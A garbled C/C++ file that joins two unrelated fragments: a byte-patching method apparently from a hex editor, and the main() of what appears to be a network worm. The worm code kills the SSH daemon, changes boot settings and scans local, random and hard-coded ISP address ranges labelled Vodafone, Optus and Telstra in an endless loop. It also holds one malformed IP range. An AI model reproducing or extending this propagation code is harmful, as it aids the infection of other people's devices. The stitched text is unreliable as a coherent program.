void ModificationMap::applyModifications(unsigned __int64 offset, ByteArray &content) { const AddrRange modifiedRange = getAddrRange(); const __int64 lastOffset = offset + content.size()-1; const AddrRange dataRange(offset, lastOffset); if(modifiedRange.overlap(dataRange)) { for(Iterator<Entry<__int64, BytePair> > it = entrySet().getIterator(); it.hasNext();) { const Entry<__int64, BytePair> &e = it.next(); const __int64 &key = e.getKey(); if(key >= (__int64)offset) { if(key <= lastOffset) { content[(UINT)(key - (__int64)offset)] = e.getValue().getTo(); } else { break; // we're done } } } } }
// Entry point. int main(int argc, char *argv[]) { //pid_t pid, sid; //char *subnet = randHost(); // syslog(LOG_DEBUG, "I should go, i feel like im interupting something ;]"); /* // FORK CODE REMOVED IT F***S WITH LaunchDaemon. pid = fork(); if (pid < 0) exit(EXIT_FAILURE); else if (pid > 0) exit(EXIT_SUCCESS); umask(0); sid = setsid(); */ if(get_lock() == 0) { syslog(LOG_DEBUG, "I know when im not wanted *sniff*"); return 1; } // Already running. sleep(60); // Lets wait for the network to come up 2 MINS syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling"); //char ipRange[256] = "120.16.0.0-120.23.255.255"; char *locRanges = getAddrRange(); char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255 Ehh who uses it char *vodRanges1 = "202.81.64.0-202.81.79.255"; char *vodRanges2 = "23.98.128.0-123.98.143.255"; char *vodRanges3 = "120.16.0.0-120.23.255.255"; char *optRanges1 = "114.72.0.0-114.75.255.255"; char *optRanges2 = "203.2.75.0-203.2.75.255"; char *optRanges3 = "210.49.0.0-210.49.255.255"; char *optRanges4 = "203.17.140.0-203.17.140.255"; char *optRanges5 = "203.17.138.0-203.17.138.255"; char *optRanges6 = "211.28.0.0-211.31.255.255"; char *telRanges = "58.160.0.0-58.175.255.25"; //char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!"); ChangeOnBoot(); KillSSHD(); // Local first while (1) { syslog(LOG_DEBUG, "Checking out the local scene yo"); scanner(locRanges); syslog(LOG_DEBUG, "Random baby"); int i; for (i=0; i <= 2; i++) { char *ipaddr = randHost(); char *rrange; asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr); scanner(rrange); } // Lan syslog(LOG_DEBUG, "Lannnnn"); scanner(lanRanges); syslog(LOG_DEBUG, "VODAPHONE"); scanner(vodRanges1); scanner(vodRanges2); scanner(vodRanges3); syslog(LOG_DEBUG, "OPTUSSSS"); scanner(optRanges1); scanner(optRanges2); scanner(optRanges3); scanner(optRanges4); scanner(optRanges5); scanner(optRanges6); syslog(LOG_DEBUG, "Telstra"); scanner(telRanges); } }